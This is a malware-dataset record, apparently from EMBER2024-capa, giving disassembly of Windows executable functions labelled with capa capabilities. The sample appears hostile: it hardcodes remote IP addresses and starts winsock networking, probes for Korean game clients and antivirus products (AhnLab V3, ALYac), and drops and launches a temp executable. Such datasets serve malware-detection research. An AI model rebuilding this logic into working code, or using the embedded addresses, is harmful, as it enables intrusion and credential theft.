joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40345a
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x404680
push 0x403e24
push eax
mov eax, dword [0x405424]
mov dword fs:[0], esp
mov ecx, dword [sym.imp.CRTDLL.dll__fmode_dll]
sub esp, 0x6c
mov dword [ecx], eax
mov edx, dword [0x405420]
mov eax, dword [sym.imp.CRTDLL.dll__commode_dll]
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [eax], edx
call fcn.00401970
lea edx, [ebp - 0x28]
lea eax, [ebp - 0x2c]
push dword [0x40541c]
push edx
push eax
lea ecx, [ebp - 0x30]
push ecx
call sub.CRTDLL.dll___GetMainArgs
add esp, 0x10
push 0x4040d8
push 0x4040d4
call sub.CRTDLL.dll__initterm
add esp, 8
mov dword [ebp - 4], 0
mov eax, dword [sym.imp.CRTDLL.dll__acmdln_dll]
mov esi, dword [eax]
mov al, byte [esi]
cmp al, 0x22
jne 0x4034f5
mov al, byte [ebp - 0x34]
inc esi
mov al, byte [esi]
test al, al
je 0x4034ed
cmp al, 0x22
jne 0x4034e2
cmp byte [esi], 0x22
jne 0x4034ff
inc esi
jmp 0x4034ff
cmp al, 0x20
jbe 0x4034ff
inc esi
cmp byte [esi], 0x20
ja 0x4034f9
cmp byte [esi], 0
je 0x40350f
cmp byte [esi], 0x20
ja 0x40350f
inc esi
cmp byte [esi], 0
jne 0x403504
mov dword [ebp - 0x50], 0
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [ebp - 0x50], 1
mov eax, 0xa
je 0x40352f
movzx eax, word [ebp - 0x4c]
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
push eax
call sub.CRTDLL.dll_exit
jmp 0x40356b
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x10]
pop edi
mov dword fs:[0], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401000
Capabilities:
Create process on windows
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x240
mov eax, dword [0x41804c]
xor eax, ebp
mov dword [ebp - 0x24], eax
push esi
push 0x64
push 0x419d20
push 0x67
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x419c58
push 0x6d
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.USER32.dll_LoadStringW]
mov edx, dword [ebp + 8]
push edx
call fcn.00401220
add esp, 4
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.004012a0
add esp, 8
test eax, eax
jne 0x401061
xor eax, eax
jmp 0x40120d
push 0x6d
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov dword [ebp - 4], eax
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, 0x419070
call fcn.00403820
call fcn.00402920
test eax, eax
je 0x40109b
call fcn.004040f0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.004013d0
test eax, eax
jne 0x4010ab
xor eax, eax
jmp 0x40120d
call fcn.00401690
cmp dword [0x41a688], 0
jbe 0x4010e6
movzx eax, word [0x41a68c]
test eax, eax
jle 0x4010e6
mov ecx, dword [0x41a688]
push ecx
mov esi, str.218.54.31.226
call fcn.00404880
add esp, 4
mov dx, word [0x41a68c]
mov word [0x41908c], dx
mov dword [ebp - 0x234], str.tmp5fdr.exe
mov dword [ebp - 0x238], 0x41abc0
mov eax, dword [ebp - 0x238]
mov dword [ebp - 0x23c], eax
mov ecx, dword [ebp - 0x234]
mov dx, word [ecx]
mov word [ebp - 0x23e], dx
mov eax, dword [ebp - 0x238]
mov cx, word [ebp - 0x23e]
mov word [eax], cx
mov edx, dword [ebp - 0x234]
add edx, 2
mov dword [ebp - 0x234], edx
mov eax, dword [ebp - 0x238]
add eax, 2
mov dword [ebp - 0x238], eax
cmp word [ebp - 0x23e], 0
jne 0x401106
call fcn.00404900
xor ecx, ecx
mov word [ebp - 0x230], cx
push 0x206
push 0
lea edx, [ebp - 0x22e]
push edx
call fcn.00409230
add esp, 0xc
lea eax, [ebp - 0x230]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x41abc0
push 0x104
lea ecx, [ebp - 0x230]
push ecx
call fcn.00405715
add esp, 0xc
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push 0
push 0x415f9c
lea edx, [ebp - 0x230]
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop esi
mov ecx, dword [ebp - 0x24]
xor ecx, ebp
call fcn.00405706
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4013d0
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x41804c]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
xor eax, eax
mov word [ebp - 0x1e0], ax
push 0x3e
push 0
lea ecx, [ebp - 0x1de]
push ecx
call fcn.00409230
add esp, 0xc
mov dword [ebp - 0x19c], 0
mov dword [ebp - 0x1a0], 0
lea edi, [ebp - 0x1e0]
call fcn.00404390
lea edx, [ebp - 0x1e0]
mov dword [ebp - 0x1e4], edx
mov dword [ebp - 0x1e8], 0x419df0
mov eax, dword [ebp - 0x1e8]
mov dword [ebp - 0x1ec], eax
mov ecx, dword [ebp - 0x1e4]
mov dx, word [ecx]
mov word [ebp - 0x1ee], dx
mov eax, dword [ebp - 0x1e8]
mov cx, word [ebp - 0x1ee]
mov word [eax], cx
mov edx, dword [ebp - 0x1e4]
add edx, 2
mov dword [ebp - 0x1e4], edx
mov eax, dword [ebp - 0x1e8]
add eax, 2
mov dword [ebp - 0x1e8], eax
cmp word [ebp - 0x1ee], 0
jne 0x401441
push 0x419df0
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 0
je 0x4014be
mov ecx, dword [ebp - 0x1a0]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x40167d
push 0x419df0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 0
jne 0x4014e5
xor eax, eax
jmp 0x40167d
lea edx, [ebp - 0x198]
push edx
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0x41a7c0
call fcn.004023f0
add esp, 4
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 0
jne 0x40163f
mov dword [ebp - 0x1f4], str.gduer
mov dword [ebp - 0x1f8], 0x41a968
mov eax, dword [ebp - 0x1f8]
mov dword [ebp - 0x1fc], eax
mov ecx, dword [ebp - 0x1f4]
mov dx, word [ecx]
mov word [ebp - 0x1fe], dx
mov eax, dword [ebp - 0x1f8]
mov cx, word [ebp - 0x1fe]
mov word [eax], cx
mov edx, dword [ebp - 0x1f4]
add edx, 2
mov dword [ebp - 0x1f4], edx
mov eax, dword [ebp - 0x1f8]
add eax, 2
mov dword [ebp - 0x1f8], eax
cmp word [ebp - 0x1fe], 0
jne 0x401537
push str.112.175.88.207
push 0x41a7c4
call fcn.00402380
add esp, 8
push str.AAAA
push 0x41a846
call fcn.004023a0
add esp, 8
push 0x415fd8
push 0x41a866
call fcn.00402380
add esp, 8
mov ecx, 0x51
mov word [0x41a844], cx
mov edx, 0x2b8e
mov word [0x41a8e6], dx
mov dword [ebp - 0x204], str.dosret
mov dword [ebp - 0x208], 0x41a948
mov eax, dword [ebp - 0x208]
mov dword [ebp - 0x20c], eax
mov ecx, dword [ebp - 0x204]
mov dx, word [ecx]
mov word [ebp - 0x20e], dx
mov eax, dword [ebp - 0x208]
mov cx, word [ebp - 0x20e]
mov word [eax], cx
mov edx, dword [ebp - 0x204]
add edx, 2
mov dword [ebp - 0x204], edx
mov eax, dword [ebp - 0x208]
add eax, 2
mov dword [ebp - 0x208], eax
cmp word [ebp - 0x20e], 0
jne 0x4015ed
mov dword [0x41a988], 5
call fcn.00404430
push str.112.175.88.208
call fcn.004044e0
add esp, 4
mov dword [0x41a688], eax
push 0x41a9c0
call fcn.00401e00
add esp, 4
push 0
push 0
push 0
push 0x401a90
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405706
mov esp, ebp
pop ebp
ret
Function at 0x401be0
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
mov eax, dword [0x41804c]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x41c], 0
movzx eax, word [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00404ae0
add esp, 8
mov dword [ebp - 0x41c], eax
cmp dword [ebp - 0x41c], 0
je 0x401c28
mov eax, dword [ebp - 0x41c]
jmp 0x401d98
xor edx, edx
mov word [ebp - 0x418], dx
push 0x206
push 0
lea eax, [ebp - 0x416]
push eax
call fcn.00409230
add esp, 0xc
xor ecx, ecx
mov word [ebp - 0x210], cx
push 0x206
push 0
lea edx, [ebp - 0x20e]
push edx
call fcn.00409230
add esp, 0xc
lea eax, [ebp - 0x418]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov dword [ebp - 0x420], 0
jmp 0x401c93
mov ecx, dword [ebp - 0x420]
add ecx, 1
mov dword [ebp - 0x420], ecx
cmp dword [ebp - 0x420], 5
jge 0x401cf8
mov edx, dword [ebp - 0x420]
imul edx, edx, 0x118
movzx eax, word [edx + 0x419e30]
test eax, eax
jne 0x401cb5
jmp 0x401c84
lea ecx, [ebp - 0x418]
push ecx
push 0x104
lea edx, [ebp - 0x210]
push edx
call fcn.00405792
add esp, 0xc
mov eax, dword [ebp - 0x420]
imul eax, eax, 0x118
add eax, 0x419e30
push eax
push 0x104
lea ecx, [ebp - 0x210]
push ecx
call fcn.00405715
add esp, 0xc
jmp 0x401c84
mov dword [ebp - 0x424], 0
jmp 0x401d13
mov edx, dword [ebp - 0x424]
add edx, 1
mov dword [ebp - 0x424], edx
cmp dword [ebp - 0x424], 5
jge 0x401d5d
mov eax, dword [ebp - 0x424]
imul eax, eax, 0x118
movzx ecx, word [eax + 0x419e30]
test ecx, ecx
jne 0x401d35
jmp 0x401d04
push 1
movzx edx, word [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x424]
imul ecx, ecx, 0x118
add ecx, 0x419e30
push ecx
call fcn.00405330
add esp, 0x10
jmp 0x401d04
push 0x41abc0
push 0x104
lea edx, [ebp - 0x418]
push edx
call fcn.00405715
add esp, 0xc
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x401d92
mov dword [ebp - 0x41c], 2
mov eax, dword [ebp - 0x41c]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405706
mov esp, ebp
pop ebp
ret
Function at 0x402010
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [0x41804c]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x41c], 0
xor eax, eax
mov word [ebp - 0x418], ax
push 0x206
push 0
lea ecx, [ebp - 0x416]
push ecx
call fcn.00409230
add esp, 0xc
xor edx, edx
mov word [ebp - 0x210], dx
push 0x206
push 0
lea eax, [ebp - 0x20e]
push eax
call fcn.00409230
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x418]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
xor edx, edx
mov word [ebp - 0x414], dx
push str.HangameKOREANHanUninstall.exe
lea eax, [ebp - 0x418]
push eax
push 0x4161d4
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4020c8
mov eax, dword [ebp - 0x41c]
or eax, 1
mov dword [ebp - 0x41c], eax
push str.NEOWIZPMangcommonPMLauncher.exe
lea ecx, [ebp - 0x418]
push ecx
push 0x416228
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x40210a
mov ecx, dword [ebp - 0x41c]
or ecx, 2
mov dword [ebp - 0x41c], ecx
push str.NetmarbleCommonNetMarbleEndWeb.exe
lea edx, [ebp - 0x418]
push edx
push 0x416284
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x40214c
mov edx, dword [ebp - 0x41c]
or edx, 4
mov dword [ebp - 0x41c], edx
push str.Program_FilesAhnLabV3Lite30V3Lite.exe
lea eax, [ebp - 0x418]
push eax
push 0x4162e4
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402190
mov eax, dword [ebp - 0x41c]
or eax, 0x100
mov dword [ebp - 0x41c], eax
push str.Program_FilesESTsoftALYacAYLaunch.exe
lea ecx, [ebp - 0x418]
push ecx
push 0x416344
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4021d5
mov ecx, dword [ebp - 0x41c]
or ecx, 0x200
mov dword [ebp - 0x41c], ecx
push str.Program_Files_naverNaverAgentNaverAgent.exe
lea edx, [ebp - 0x418]
push edx
push str._s_s
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x40221a
mov edx, dword [ebp - 0x41c]
or edx, 0x400
mov dword [ebp - 0x41c], edx
mov eax, dword [ebp - 0x41c]
or eax, 0x2000000
mov dword [ebp - 0x41c], eax
mov eax, dword [ebp - 0x41c]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405706
mov esp, ebp
pop ebp
ret
Function at 0x4024f0
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
mov eax, dword [0x41804c]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 0x214], 0
cmp dword [ebp + 8], 0
je 0x402519
cmp dword [ebp + 0xc], 0
jne 0x402523
jmp 0x402670
cmp dword [ebp + 0x10], 0
je 0x402578
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x218], eax
mov ecx, dword [ebp - 0x218]
add ecx, 2
mov dword [ebp - 0x21c], ecx
mov edx, dword [ebp - 0x218]
mov ax, word [edx]
mov word [ebp - 0x21e], ax
add dword [ebp - 0x218], 2
cmp word [ebp - 0x21e], 0
jne 0x402541
mov ecx, dword [ebp - 0x218]
sub ecx, dword [ebp - 0x21c]
sar ecx, 1
mov dword [ebp - 0x224], ecx
jne 0x402582
jmp 0x402670
xor edx, edx
mov word [ebp - 0x210], dx
push 0x206
push 0
lea eax, [ebp - 0x20e]
push eax
call fcn.00409230
add esp, 0xc
cmp dword [ebp + 0x14], 0
je 0x4025bb
lea ecx, [ebp - 0x210]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x402603
cmp dword [0x419070], 3
jne 0x4025f1
push 0x104
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x415db8
push 0x104
lea eax, [ebp - 0x210]
push eax
call fcn.00405715
add esp, 0xc
jmp 0x402603
lea ecx, [ebp - 0x210]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edx, dword [ebp + 0x10]
push edx
push 0x104
lea eax, [ebp - 0x210]
push eax
call fcn.00405715
add esp, 0xc
mov dword [ebp - 4], 0
push 0x415dbc
lea ecx, [ebp - 0x210]
push ecx
lea edx, [ebp - 4]
push edx
call fcn.00405a67
add esp, 0xc
cmp dword [ebp - 4], 0
jne 0x402644
jmp 0x402670
mov eax, dword [ebp - 4]
push eax
push 1
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00405d5a
add esp, 0x10
mov eax, dword [ebp - 4]
push eax
call fcn.00405dee
add esp, 4
mov dword [ebp - 0x214], 1
mov eax, dword [ebp - 0x214]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00405706
mov esp, ebp
pop ebp
ret

Function at 0x402840
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x41804c]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 0x214], 0
xor eax, eax
mov word [ebp - 0x210], ax
push 0x206
push 0
lea ecx, [ebp - 0x20e]
push ecx
call fcn.00409230
add esp, 0xc
mov dword [ebp - 4], 0
cmp dword [ebp + 8], 0
je 0x40288f
cmp dword [ebp + 0xc], 0
jne 0x402893
jmp 0x402908
lea edx, [ebp - 0x210]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.golfinfo.ini
push 0x104
lea eax, [ebp - 0x210]
push eax
call fcn.00405715
add esp, 0xc
push 0x415df8
lea ecx, [ebp - 0x210]
push ecx
lea edx, [ebp - 4]
push edx
call fcn.00405a67
add esp, 0xc
cmp dword [ebp - 4], 0
je 0x4028fe
mov eax, dword [ebp - 4]
push eax
push 1
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00405fcc
add esp, 0x10
mov eax, dword [ebp - 4]
push eax
call fcn.00405dee
add esp, 4
mov dword [ebp - 0x214], 1
mov eax, dword [ebp - 0x214]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00405706
mov esp, ebp
pop ebp
ret
Function at 0x4035e0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x440
mov eax, dword [0x41804c]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
xor eax, eax
mov word [ebp - 0x210], ax
push 0x206
push 0
lea ecx, [ebp - 0x20e]
push ecx
call fcn.00409230
add esp, 0xc
mov dword [ebp - 4], 0
push 0x200
push 0
lea edx, [ebp - 0x410]
push edx
call fcn.00409230
add esp, 0xc
lea eax, [ebp - 0x410]
push eax
call fcn.00402690
add esp, 4
test eax, eax
je 0x403800
mov dword [ebp - 0x414], 0x415f4c
mov dword [ebp - 0x418], 0x41a4b8
mov ecx, dword [ebp - 0x418]
mov dword [ebp - 0x41c], ecx
mov edx, dword [ebp - 0x414]
mov ax, word [edx]
mov word [ebp - 0x41e], ax
mov ecx, dword [ebp - 0x418]
mov dx, word [ebp - 0x41e]
mov word [ecx], dx
mov eax, dword [ebp - 0x414]
add eax, 2
mov dword [ebp - 0x414], eax
mov ecx, dword [ebp - 0x418]
add ecx, 2
mov dword [ebp - 0x418], ecx
cmp word [ebp - 0x41e], 0
jne 0x403667
lea edx, [ebp - 0x38a]
mov dword [ebp - 0x424], edx
mov dword [ebp - 0x428], 0x41a3b0
mov eax, dword [ebp - 0x428]
mov dword [ebp - 0x42c], eax
mov ecx, dword [ebp - 0x424]
mov dx, word [ecx]
mov word [ebp - 0x42e], dx
mov eax, dword [ebp - 0x428]
mov cx, word [ebp - 0x42e]
mov word [eax], cx
mov edx, dword [ebp - 0x424]
add edx, 2
mov dword [ebp - 0x424], edx
mov eax, dword [ebp - 0x428]
add eax, 2
mov dword [ebp - 0x428], eax
cmp word [ebp - 0x42e], 0
jne 0x4036d1
lea ecx, [ebp - 0x40c]
mov dword [ebp - 0x434], ecx
mov dword [ebp - 0x438], 0x41a430
mov edx, dword [ebp - 0x438]
mov dword [ebp - 0x43c], edx
mov eax, dword [ebp - 0x434]
mov cx, word [eax]
mov word [ebp - 0x43e], cx
mov edx, dword [ebp - 0x438]
mov ax, word [ebp - 0x43e]
mov word [edx], ax
mov ecx, dword [ebp - 0x434]
add ecx, 2
mov dword [ebp - 0x434], ecx
mov edx, dword [ebp - 0x438]
add edx, 2
mov dword [ebp - 0x438], edx
cmp word [ebp - 0x43e], 0
jne 0x40373b
mov ax, word [ebp - 0x38c]
mov word [0x41a4b0], ax
mov cx, word [ebp - 0x2ea]
mov word [0x41a538], cx
mov dword [0x41a53c], 5
cmp dword [0x419070], 3
je 0x4037c3
push 1
lea esi, [ebp - 0x210]
call fcn.00403f80
add esp, 4
jmp 0x4037d3
push 0
lea esi, [ebp - 0x210]
call fcn.00403f80
add esp, 4
push str.golfset.ini
push 0x104
lea edx, [ebp - 0x210]
push edx
call fcn.00405715
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 4], 1
mov eax, dword [ebp - 4]
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00405706
mov esp, ebp
pop ebp
ret
Function at 0x403820
Capabilities:
Check os version

Disassembly:
sub esp, 0x120
mov eax, dword [0x41804c]
xor eax, esp
mov dword [esp + 0x11c], eax
push 0x11c
lea eax, [esp + 4]
push 0
push eax
mov dword [esi], 0
call fcn.00409230
add esp, 0xc
lea ecx, [esp]
push ecx
mov dword [esp + 4], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x4038c9
mov eax, dword [esp + 4]
cmp eax, 5
jne 0x403896
mov eax, dword [esp + 8]
cmp eax, 2
jae 0x40387b
cmp eax, 1
jne 0x4038c9
mov dword [esi], 3
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.00405706
add esp, 0x120
ret
cmp eax, 6
jne 0x4038c9
mov eax, dword [esp + 8]
test eax, eax
jne 0x4038be
mov dword [esi], 4
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.00405706
add esp, 0x120
ret
cmp eax, 1
jne 0x4038c9
mov dword [esi], 5
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.00405706
add esp, 0x120
ret

Function at 0x4038e0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x20c
mov eax, dword [0x41804c]
xor eax, esp
mov dword [esp + 0x208], eax
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0xa]
push ecx
mov word [esp + 0xc], ax
call fcn.00409230
add esp, 0xc
cmp dword [0x419070], 3
jne 0x403940
push 0x104
lea edx, [esp + 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x415c50
lea eax, [esp + 4]
push 0x104
push eax
call fcn.00405715
add esp, 0xc
jmp 0x40394f
lea ecx, [esp]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
lea edx, [esp + 4]
push edx
push 0x415c54
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [esp + 0x218]
add esp, 0x10
xor ecx, esp
call fcn.00405706
add esp, 0x20c
ret

Function at 0x403b30
Capabilities:
Get common file path

Disassembly:
sub esp, 0x210
mov eax, dword [0x41804c]
xor eax, esp
mov dword [esp + 0x20c], eax
push ebx
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov dword [esp + 0x10], 0
mov word [esp + 0x14], ax
call fcn.00409230
add esp, 0xc
push 0x104
lea edx, [esp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
movzx eax, word [esp + 8]
sub eax, 0x41
push eax
lea ebx, [esp + 8]
call fcn.00403d30
mov ebx, dword [esp + 8]
add esp, 4
call fcn.00403e40
pop ebx
cmp eax, 0xffffffff
jne 0x403bb2
xor eax, eax
mov ecx, dword [esp + 0x20c]
xor ecx, esp
call fcn.00405706
add esp, 0x210
ret
push esi
call fcn.00403a50
mov ecx, dword [esp + 0x210]
add esp, 4
xor ecx, esp
call fcn.00405706
add esp, 0x210
ret
Function at 0x403bd0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x228
mov eax, dword [0x41804c]
xor eax, esp
mov dword [esp + 0x220], eax
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push 0x64
call ebp
xor ebx, ebx
push 0x1ff
lea eax, [esp + 0x2d]
push ebx
push eax
xor esi, esi
mov byte [esp + 0x34], bl
call fcn.00409230
add esp, 0xc
cmp edi, 0xffffffff
je 0x403cb0
xor eax, eax
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x14]
push edx
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x2c], eax
push 0x200
lea eax, [esp + 0x34]
push eax
push edi
mov dword [esp + 0x28], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, ebx
je 0x403cb0
mov ecx, dword [esp + 0x1f2]
mov edx, dword [esp + 0x1ee]
lea eax, [edx + ecx]
cmp eax, ebx
jbe 0x403c6d
mov esi, eax
mov eax, dword [esp + 0x202]
mov ecx, dword [esp + 0x1fe]
add eax, ecx
cmp eax, esi
jbe 0x403c83
mov esi, eax
mov edx, dword [esp + 0x212]
mov eax, dword [esp + 0x20e]
add eax, edx
cmp eax, esi
jbe 0x403c99
mov esi, eax
mov ecx, dword [esp + 0x222]
mov edx, dword [esp + 0x21e]
lea eax, [edx + ecx]
cmp eax, esi
jbe 0x403cb0
mov esi, eax
push 0x64
call ebp
mov ecx, dword [esp + 0x22c]
mov eax, esi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00405706
add esp, 0x228
ret

Function at 0x403cd0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x18
xor ecx, ecx
push esi
mov esi, eax
xor eax, eax
mov dword [esp + 8], eax
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], ecx
mov dword [esp + 4], eax
cmp edi, 0xffffffff
je 0x403d24
mov eax, dword [esp + 0x20]
mov ecx, 0x200
mul ecx
mov ecx, dword [esp + 0x24]
mov dword [esp + 0x14], edx
lea edx, [esp + 8]
push edx
mov dword [esp + 0x14], eax
lea eax, [esp + 8]
push eax
shl esi, 9
push esi
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
pop esi
add esp, 0x18
ret

Function at 0x403f80
Capabilities:
Get common file path

Disassembly:
cmp dword [esp + 4], 0
je 0x403f94
push esi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
ret
push 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x415cd8
push 0x104
push esi
call fcn.00405715
add esp, 0xc
ret
Function at 0x403fc0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ecx
push 0x415cdc
push eax
lea ecx, [esp + 8]
push ecx
mov dword [esp + 0xc], 0
call fcn.00405a67
add esp, 0xc
test eax, eax
je 0x403fe4
xor eax, eax
pop ecx
ret
mov edx, dword [esp]
push ebx
push ebp
push esi
push edi
push 2
push 0
push edx
call fcn.004065be
mov eax, dword [esp + 0x1c]
push eax
call fcn.004067e0
mov ecx, dword [esp + 0x20]
push 0
push 0
push ecx
mov edi, eax
call fcn.004065be
mov edx, dword [esp + 0x38]
lea ebp, [edi + edx]
push ebp
call fcn.004063dc
mov esi, eax
mov eax, dword [esp + 0x30]
push eax
push 1
push edi
push esi
call fcn.00405d5a
mov ecx, dword [esp + 0x40]
push ecx
call fcn.00405dee
mov eax, dword [esp + 0x50]
lea ebx, [esi + edi]
call fcn.004040a0
mov edx, dword [esp + 0x4c]
push 0x415ce4
push edx
lea eax, [esp + 0x4c]
push eax
call fcn.00405a67
add esp, 0x40
test eax, eax
je 0x404065
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov ecx, dword [esp + 0x10]
push ecx
push 1
push ebp
push esi
call fcn.00405fcc
mov edx, dword [esp + 0x20]
push edx
call fcn.00405dee
add esp, 0x14
test esi, esi
je 0x40408d
push esi
call fcn.004064a6
add esp, 4
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
pop ecx
ret